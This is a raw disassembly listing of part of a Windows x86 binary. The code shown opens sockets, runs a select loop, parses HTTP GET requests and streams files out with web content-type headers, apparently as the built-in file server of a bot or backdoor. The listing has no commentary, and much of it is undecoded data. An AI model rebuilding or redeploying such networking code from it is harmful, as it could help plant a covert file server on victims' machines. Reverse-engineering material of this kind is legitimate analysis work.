		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CE394
		call	dword_4CB66C
		test	eax, eax
		jle	short loc_40E47F
		lea	ecx, [ebp-4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp-404h]
		push	eax
		push	dword_4CE390
		call	near ptr 26F0000h
		nop
		jmp	short loc_40E47F
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40E4C2:				; CODE XREF: ___:0040E4E8j
					; ___:0040E502j
		lea	eax, [ebp-4]
		and	dword ptr [ebp-4], 0
		push	0
		push	eax
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CE384
		call	near ptr 2700000h
		nop
		cmp	dword ptr [ebp-4], 0
		jle	short loc_40E4C2
		push	0
		lea	eax, [ebp-404h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword_4CE394
		call	dword_4CB6A4
		jmp	short loc_40E4C2
; ---------------------------------------------------------------------------
dword_40E504	dd 81EC8B55h, 11CECh, 8458B00h,	6A575653h, 59F08B28h, 0FEE4BD8Dh
					; DATA XREF: sub_401ACD+2D0Eo
		dd 0A5F3FFFFh, 0FF33016Ah, 98B0895Eh, 6A000000h, 0C8458D10h
		dd 59E85057h, 830000D0h, 0C7660CC4h, 2C845h, 0FF68B5FFh
		dd 15FFFFFFh, 4CB654h, 6A56066Ah, 45896602h, 0D415FFCAh
		dd 89004CB6h, 458D0845h, 50106AC8h, 0FF0875FFh,	4CB68015h
		dd 0FF056A00h, 15FF0875h, 4CB67Ch, 70FC1D8Bh, 358B0042h
		dd 427068h, 75FF5757h, 0E815FF08h, 0A3004CB6h, 4CE394h
		dd 57F4458Dh, 0E3906850h, 8C68004Ch, 0C7004CE3h, 0CF445h
		dd 45C70000h, 1FCh, 0F87D8900h,	458DD3FFh, 685057F4h, 4CE388h
		dd 4CE38468h, 6AD3FF00h, 84458D44h, 0BDE85057h,	0A10000CFh
		dd 4CE38Ch, 890CC483h, 88A1BC45h, 89004CE3h, 6A57C045h
		dd 0C4458D01h, 0C750026Ah, 448445h, 45C70000h, 101B0h
		dd 7D896600h, 2078E8B4h, 50900230h, 0E38835FFh,	0E890004Ch
		dd 230206Ah, 0E5E89050h, 8D023019h, 8D50D845h, 57508445h
		dd 906857h, 458D0400h, 50016AF4h, 50F4458Dh, 433C0468h
		dd 0BDE85700h, 90022525h, 50E8458Dh, 0B9685757h, 8D0040E4h
		dd 5057F445h, 19AAE890h, 45890227h, 0E8458DECh,	68575750h
		dd 40E476h, 57F4458Dh, 1992E850h, 6A900227h, 0F04589FFh
		dd 90D875FFh, 281B40E8h, 75FF5702h, 83E890F0h, 57022823h
		dd 90EC75FFh, 282379E8h, 0F075FF02h, 75FFD6FFh,	57D6FFECh
		dd 90D875FFh, 2F2497E8h, 8C35FF02h, 0FF004CE3h,	9035FFD6h
		dd 0FF004CE3h, 8435FFD6h, 0FF004CE3h, 8835FFD6h, 0FF004CE3h
		dd 0DC75FFD6h, 75FFD6FFh, 0E9D6FFD8h, 0FFFFFEB0h, 0E9h
		dd 0FFFE6800h, 680000h,	0E8000004h, 9F9Dh, 0E39CA359h
		dd 0C359004Ch
dword_40E6F0	dd 81EC8B55h, 6C0ECh, 8458B00h,	6A575653h, 59F08B27h, 0FF50BD8Dh
					; DATA XREF: sub_40BACE+34Do
		dd 0A5F3FFFFh, 0DB33016Ah, 98B0895Eh, 6A000000h, 0EC458D10h
		dd 6DE85053h, 830000CEh, 0C7660CC4h, 2EC45h, 0FF5CB5FFh
		dd 15FFFFFFh, 4CB654h, 26A5653h, 0EE458966h, 0FFF05D89h
		dd 4CB6D415h, 83F88B00h, 0FE3BFFCEh, 5D394575h,	532075E4h
		dd 0FD40858Dh, 75FFFFFFh, 858D50E0h, 0FFFFFF60h, 50B5FF50h
		dd 0E8FFFFFFh, 0FFFFB2FFh, 8D14C483h, 0FFFD4085h, 2AE850FFh
		dd 0FF00006Ah, 0FFFF54B5h, 0CC85E8FFh, 5959FFFFh, 69E89053h
		dd 8B022D18h, 0FFFF5485h, 69106AFFh, 234C0h, 9CB88900h
		dd 8D0043E5h, 5750EC45h, 0B68015FFh, 0C63B004Ch, 400BBh
		dd 0CF850F00h, 0FF000000h, 4CB5E815h, 27403D00h, 47740000h
		dd 7539F633h, 562075E4h, 0FD40858Dh, 75FFFFFFh,	858D50E0h
		dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFB27Fh, 8D14C483h
		dd 0FFFD4085h, 0AAE850FFh, 0FF000069h, 0FFFF54B5h, 0CC05E8FFh
		dd 5959FFFFh, 17EAE856h, 6890022Dh, 0FFFEh, 9E63E853h
		dd 0A3590000h, 4CE39Ch,	45896659h, 0EC458DEEh, 5750106Ah
		dd 0B68015FFh, 0C63B004Ch, 15FF5475h, 4CB5E8h, 7539F633h
		dd 3D2775E4h, 2740h, 8D562074h,	0FFFD4085h, 0E075FFFFh
		dd 60858D50h, 50FFFFFFh, 0FF50B5FFh, 4E8FFFFh, 83FFFFB2h
		dd 858D14C4h, 0FFFFFD40h, 692FE850h, 0B5FF0000h, 0FFFFFF54h
		dd 0FFCB8AE8h, 565959FFh, 176EE890h, 56A022Dh, 7C15FF57h
		dd 3B004CB6h, 0D4840FC6h, 0C7000000h, 10FC45h, 0CBE0000h
		dd 8D004291h, 8D50FC45h, 0FFFF4085h, 0FF5750FFh, 4CB6E815h
		dd 0FFF88300h, 74084589h, 0E47D83E6h, 6A217500h, 40858D00h
		dd 0FFFFFFFDh, 8D50E075h, 0FFFF6085h, 0B5FF50FFh, 0FFFFFF50h
		dd 0FFB186E8h, 14C483FFh, 0FD40858Dh, 0E850FFFFh, 68B1h
		dd 40858D59h, 6AFFFFFDh, 2006800h, 0FF500000h, 15FF0875h
		dd 4CB66Ch, 74FFF883h, 0FF565696h, 4CB39035h, 50B5FF00h
		dd 0E8FFFFFFh, 0FFFFC2E4h, 0C685059h, 8D00433Ch, 0FFF94085h
		dd 0E85053FFh, 0D040h, 8D1CC483h, 0FFF94085h, 50006AFFh
		dd 0C68FE8h, 8D505900h,	0FFF94085h, 75FF50FFh, 0A415FF08h
		dd 83004CB6h, 840FFFF8h, 0FFFFFF43h, 0E3A405FFh, 38E9004Ch
		dd 57FFFFFFh, 0B6EC15FFh, 0B5FF004Ch, 0FFFFFF54h, 0FFCA8AE8h
		dd 6A59FFh, 2D166FE8h
		db 2, 90h
word_40E992	dw 8B55h		; DATA XREF: sub_40BACE+22Ao
		dd 70EC81ECh, 8B00000Ah, 56530845h, 0B9016A57h,	0A9h, 0BD8DF08Bh
		dd 0FFFFF920h, 89A5F35Bh, 2A098h, 90858D00h, 33FFFFF5h
		dd 16850F6h, 89000001h,	5D89E45Dh, 0DC5D89D4h, 0FDD4B589h
		dd 0B589FFFFh, 0FFFFFBC4h, 57F8E890h, 5356716Ah, 0E890026Ah
		dd 716A5236h, 71F4358Bh, 4D8D0042h, 51046AE4h, 0FFFFBFh
		dd 57046A00h, 0F8458950h, 458DD6FFh, 50046AD4h,	8B57FB6Ah
		dd 0FF57F87Dh, 0DC458DD6h, 667E6850h, 90578004h, 6A2B35E8h
		dd 90A16671h, 83004CB3h, 5000B865h, 0B445C766h,	15FF0002h
		dd 4CB654h, 0B6458966h,	6AB4458Dh, 90575010h, 6A5481E8h
		dd 7DC08571h, 0E9C38B07h, 560h,	90570A6Ah, 6A7381E8h, 0D49D8971h
		dd 8BFFFFFDh, 4272241Dh, 0D8BD8900h, 89FFFFFDh,	416AFC7Dh
		dd 0FDD4B58Dh, 8D59FFFFh, 0FFFBC4BDh, 33A5F3FFh, 0C4858DF6h
		dd 56FFFFFBh, 8B505656h, 5040FC45h, 6A2DF3E8h, 0F8839071h
		dd 0E840FFFh, 33000005h, 0FC7539FFh, 7C087D89h,	6AF633C5h
		dd 60858D64h, 56FFFFFDh, 0CACEE850h, 646A0000h,	0FF50858Dh
		dd 5056FFFFh, 0CABFE8h,	18C48300h, 0FBC4858Dh, 5750FFFFh
		dd 17C75E8h, 0FC08500h,	4BA84h,	0F87D3B00h, 458D7A75h
		dd 0F045C7F0h, 10h, 0C4858D50h,	50FFFFFDh, 90F875FFh, 6A9B84E8h
		dd 0FFF88371h, 491840Fh, 0C9330000h, 0FDD4B539h, 1676FFFFh
		dd 0FDD8958Dh, 239FFFFh, 83410C74h, 8D3B04C2h, 0FFFFFDD4h
		dd 8D3BF072h, 0FFFFFDD4h, 0BD831675h, 0FFFFFDD4h, 890D7340h
		dd 0FDD88D84h, 85FFFFFFh, 0FFFFFDD4h, 7EFC453Bh, 0FC458903h
		dd 68156A56h, 433ED4h, 0E9D3FF50h, 43Bh, 60858D56h, 6AFFFFFDh
		dd 90575064h, 6A6B17E8h, 7FC08571h, 0D4958B52h,	33FFFFFDh
		dd 76D63BC9h, 0D8858D3Ah, 39FFFFFDh, 410A7438h,	3B04C083h
		dd 0EBF472CAh, 0CA3B4A26h, 848D1B73h, 0FFFDD88Dh, 4508BFFh
		dd 8B108941h, 0FFFDD495h, 4C083FFh, 72CA3B4Ah, 0D48DFFECh
		dd 57FFFFFDh, 2EA3E890h, 0D4E9716Ah, 8D000003h,	0FFFCC885h
		dd 858D50FFh, 0FFFFFF50h, 60858D50h, 68FFFFFDh,	433ECCh
		dd 0DA57E850h, 858D0000h, 0FFFFFF50h, 433EC468h, 71E85000h
		dd 830000D4h, 0C08518C4h, 6A560D75h, 3EAC6816h,	82E90043h
		dd 8D000000h, 0FFFF5085h, 3EA468FFh, 0E8500043h, 0D44Ch
		dd 59C08559h, 6A560A75h, 3E8C6814h, 61EB0043h, 0FF50858Dh
		dd 8468FFFFh, 5000433Eh, 0D42BE8h, 0C0855900h, 560A7559h
		dd 74680D6Ah, 0EB00433Eh, 50858D40h, 68FFFFFFh,	433E6Ch
		dd 0D40AE850h, 85590000h, 0A7559C0h, 68106A56h,	433E58h
		dd 858D1FEBh, 0FFFFFF50h, 433E5468h, 0E9E85000h, 590000D3h
		dd 7559C085h, 1E6A560Eh, 433E3468h, 0F1E95700h,	0BF000002h
		dd 433E2Ch, 0FF50858Dh,	5057FFFFh, 0D3C3E8h, 0C0855900h
		dd 8D247559h, 0FFFCC885h, 3E2868FFh, 0E8500043h, 0D3ACh
		dd 59C08559h, 6A560D75h, 3E146813h, 0B2E90043h,	8D000002h
		dd 0FFFF5085h, 0E85057FFh, 0D38Ch, 59C08559h, 858D2475h
		dd 0FFFFFCC8h, 433E1068h, 75E85000h, 590000D3h,	7559C085h
		dd 136A560Dh, 433DFC68h, 27BE900h, 858D0000h, 0FFFFFF50h
		dd 433DF468h, 51E85000h, 590000D3h, 7559C085h, 0BE0A6A34h
		dd 433DC8h, 0D8BD8D59h,	0F3FFFFFEh, 858D50A5h, 0FFFFFED8h
		dd 0E8A56650h, 0C29Ch, 858D5059h, 0FFFFFED8h, 875FF50h
		dd 0F633D3FFh, 235E9h, 50858D00h, 68FFFFFFh, 433DC0h, 0D306E850h
		dd 85590000h, 2A7559C0h, 0A8BE056Ah, 5900433Dh,	0FF38BD8Dh
		dd 0A5F3FFFFh, 8D50A566h, 0FFFF3885h, 0E8A450FFh, 0C250h
		dd 858D5059h, 0FFFFFF38h, 858DB2EBh, 0FFFFFF50h, 433DA068h
		dd 0C5E85000h, 590000D2h, 0F59C085h, 0B685h, 2C858D00h
		dd 50FFFFFDh, 0FF04858Dh, 8D50FFFFh, 8D50EC45h,	8D50E845h
		dd 8D50E045h, 8D50D845h, 0FFFD6085h, 3D7868FFh,	0E8500043h
		dd 0D861h, 0FF04858Dh, 0E850FFFFh, 0C989h, 858DF88Bh, 0FFFFFD2Ch
		dd 0C97BE850h, 45890000h, 8D326AF4h, 0FFFF0485h, 0E85056FFh
		dd 0C780h, 8D34C483h, 0FFFF0485h, 0F475FFFFh, 3D706857h
		dd 0E8500043h, 0CA5Eh, 858D106Ah, 0FFFFFF04h, 8EE85056h
		dd 830000CFh, 45891CC4h, 0EC458DF4h, 0E8458D50h, 0E0458D50h
		dd 0D8458D50h, 0C4458D50h, 433D6468h, 2BE85000h, 830000CAh
		dd 6A5618C4h, 3D44681Dh, 1EE90043h, 8D000001h, 0FFFF5085h
		dd 3D3C68FFh, 0E8500043h, 0D1F4h, 59C08559h, 0E4850Fh
		dd 6A560000h, 3D106828h, 75FF0043h, 0FFD3FF08h,	458DF475h
		dd 20E850C4h, 59000001h, 5901F883h, 0B6850Fh, 458D0000h
		dd 858D50C4h, 0FFFFF720h, 433CF468h, 0C7E85000h, 830000C9h
		dd 0B5390CC4h, 0FFFFFBBCh, 8D562375h, 0FFF72085h, 0B8B5FFFFh
		dd 50FFFFFBh, 0FB38858Dh, 0FF50FFFFh, 0FFF920B5h, 0AB89E8FFh
		dd 0C483FFFFh, 14AE814h, 0F8830000h, 93850F01h,	56000000h
		dd 0DC68176Ah, 0FF00433Ch, 0D3FF0875h, 50C4458Dh, 0F720858Dh
		dd 0BC68FFFFh, 5000433Ch, 0C969E8h, 0CC48300h, 0FBBCB539h
		dd 2375FFFFh, 20858D56h, 0FFFFFFF7h, 0FFFBB8B5h, 858D50FFh
		dd 0FFFFFB38h, 20B5FF50h, 0E8FFFFF9h, 0FFFFAB2Bh, 8D14C483h
		dd 0FFF72085h, 56E850FFh, 0FF000062h, 4CE16005h, 2EEB5900h
		dd 68206A56h, 433C98h, 858D1FEBh, 0FFFFFF50h, 42D08468h
		dd 0F5E85000h, 590000D0h, 7559C085h, 1B6A560Dh,	433C7C68h
		dd 875FF00h, 646AD3FFh,	0FD60858Dh, 5056FFFFh, 0C5F3E8h
		dd 87D8B00h, 470CC483h,	89FC7D3Bh, 8E0F087Dh, 0FFFFFB01h
		dd 0FFFAC1E9h, 58016AFFh, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp-1A0h]
		push	eax
		push	101h
		nop
		call	near ptr 71AB41DAh
		push	0
		push	1
		push	2
		call	near ptr 71AB3C22h
		nop
		push	dword ptr [ebp+8]
		mov	dword_4CE3A8, eax
		mov	word ptr [ebp-10h], 2
		nop
		call	near ptr 71AB12F8h
		push	dword ptr [ebp+0Ch]
		mov	[ebp-0Ch], eax
		nop
		call	near ptr 71AB1746h
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	dword_4CE3A8
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F037
		push	dword_4CE3A8
		nop
		call	near ptr 71AB1A6Dh
		nop
		call	near ptr 71AB1836h
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40F037:				; CODE XREF: ___:0040F01Fj
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp-104h]
		push	104h
		push	eax
		push	0
		call	near ptr 2670000h
		nop
		lea	eax, [ebp-104h]
		push	offset dword_429068
		push	eax
		call	sub_41B4C2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40F0D3
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40F0B7
		push	edi
		mov	edi, 400h


loc_40F07F:				; CODE XREF: ___:0040F0B4j
		push	esi
		push	1
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41B11A
		add	esp, 10h
		lea	eax, [ebp-504h]
		push	0
		push	edi
		push	eax
		push	dword_4CE3A8
		call	near ptr 71AB1AF4h
		nop
		push	1
		nop
		call	near ptr 2670EC7h
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40F07F
		pop	edi


loc_40F0B7:				; CODE XREF: ___:0040F077j
		push	esi
		call	sub_41B05B
		pop	ecx
		push	dword_4CE3A8
		call	near ptr 71AB1A6Dh
		nop
		nop
		call	near ptr 71AB1836h
		push	1
		pop	eax


loc_40F0D3:				; CODE XREF: ___:0040F071j
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F0D6	proc near		; DATA XREF: sub_401ACD+2284o
					; sub_40BACE+475o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_4CB654
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4CB6D4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_40F4C1
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_43E59C[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4CB680
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C1
		push	7FFFFFFFh
		push	edi
		call	dword_4CB67C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C1
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4CB6F0
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C1
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_40F1AD:				; CODE XREF: sub_40F0D6+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_4CB63C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4BC
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_40F1E3:				; CODE XREF: sub_40F0D6+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_4CB540
		test	eax, eax
		jz	loc_40F4A7
		cmp	esi, [ebp+var_C]
		jnz	short loc_40F265
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_4CB6E8
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4A7
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F237
		lea	edx, [ebp+var_134]


loc_40F22B:				; CODE XREF: sub_40F0D6+15Fj
		cmp	[edx], eax
		jz	short loc_40F237
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_40F22B


loc_40F237:				; CODE XREF: sub_40F0D6+14Dj
					; sub_40F0D6+157j
		cmp	ecx, ebx
		jnz	short loc_40F254
		cmp	ebx, 40h
		jnb	short loc_40F254
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_40F254:				; CODE XREF: sub_40F0D6+163j
					; sub_40F0D6+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_40F4A7
		mov	[ebp+var_8], eax
		jmp	loc_40F4A7
; ---------------------------------------------------------------------------


loc_40F265:				; CODE XREF: sub_40F0D6+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_4CB66C
		test	eax, eax
		jg	short loc_40F2F8
		push	esi
		call	dword_4CB6EC
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_40F4A7
		lea	eax, [ebp+var_134]


loc_40F2B7:				; CODE XREF: sub_40F0D6+1EBj
		cmp	[eax], esi
		jz	short loc_40F2C8
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40F2B7
		jmp	loc_40F4A7
; ---------------------------------------------------------------------------


loc_40F2C8:				; CODE XREF: sub_40F0D6+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40F2EC
		lea	eax, [ebp+ecx*4+var_134]


loc_40F2D6:				; CODE XREF: sub_40F0D6+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40F2D6


loc_40F2EC:				; CODE XREF: sub_40F0D6+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_40F4A7
; ---------------------------------------------------------------------------


loc_40F2F8:				; CODE XREF: sub_40F0D6+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_41AFE0
		add	esp, 10h
		test	eax, eax
		jbe	loc_40F4A7


loc_40F326:				; CODE XREF: sub_40F0D6+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_40F3CB
		mov	esi, offset aGet_0 ; "GET "
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F39F
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_41AFE0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40F39F
		mov	eax, offset asc_42D124 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41C0F4
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41BEB0
		add	esp, 10h
		jmp	short loc_40F3B6
; ---------------------------------------------------------------------------


loc_40F39F:				; CODE XREF: sub_40F0D6+27Fj
					; sub_40F0D6+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_433F14 ; "\r\n"
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F3EA


loc_40F3B6:				; CODE XREF: sub_40F0D6+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_40F3CB:				; CODE XREF: sub_40F0D6+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_41AFE0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_40F326
		jmp	loc_40F4A7
; ---------------------------------------------------------------------------


loc_40F3EA:				; CODE XREF: sub_40F0D6+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F434
		lea	eax, [ebp+var_134]


loc_40F3F6:				; CODE XREF: sub_40F0D6+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_40F407
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40F3F6
		jmp	short loc_40F437
; ---------------------------------------------------------------------------


loc_40F407:				; CODE XREF: sub_40F0D6+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40F42B
		lea	eax, [ebp+ecx*4+var_134]


loc_40F415:				; CODE XREF: sub_40F0D6+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40F415


loc_40F42B:				; CODE XREF: sub_40F0D6+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_40F437
; ---------------------------------------------------------------------------


loc_40F434:				; CODE XREF: sub_40F0D6+318j
		mov	esi, [ebp+var_4]


loc_40F437:				; CODE XREF: sub_40F0D6+32Fj
					; sub_40F0D6+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_40F4A0
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_41AFE0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41AFE0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_40F4A0
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CB6F0
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_40F6B4
		add	esp, 14h
		jmp	short loc_40F4A7
; ---------------------------------------------------------------------------


loc_40F4A0:				; CODE XREF: sub_40F0D6+369j
					; sub_40F0D6+38Fj
		push	esi
		call	dword_4CB6EC


loc_40F4A7:				; CODE XREF: sub_40F0D6+11Dj
					; sub_40F0D6+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_40F1E3
		jmp	loc_40F1AD
; ---------------------------------------------------------------------------


loc_40F4BC:				; CODE XREF: sub_40F0D6+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_40F4C1:				; CODE XREF: sub_40F0D6+6Aj
					; sub_40F0D6+92j ...
		call	dword_4CB5E8
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_433EEC
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_40F507
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_409A73
		add	esp, 14h


loc_40F507:				; CODE XREF: sub_40F0D6+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_4151AD
		pop	ecx
		push	edi
		call	dword_4CB6EC
		push	[ebp+var_254]
		call	sub_40B413
		pop	ecx
		push	ebx
		nop
		call	near ptr 26E0000h
		pop	edi
		pop	esi
		pop	ebx
sub_40F0D6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F531	proc near		; DATA XREF: sub_40F6B4+24Do

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_41B886
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_A4], edi
		pop	ecx
		jz	short loc_40F597
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40F59C
; ---------------------------------------------------------------------------


loc_40F597:				; CODE XREF: sub_40F531+5Dj
		push	offset aApplicationOct ; "application/octet-stream"


loc_40F59C:				; CODE XREF: sub_40F531+64j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2730000h
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2721649h
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_40F615
		lea	eax, [ebp+var_9C]
		push	eax
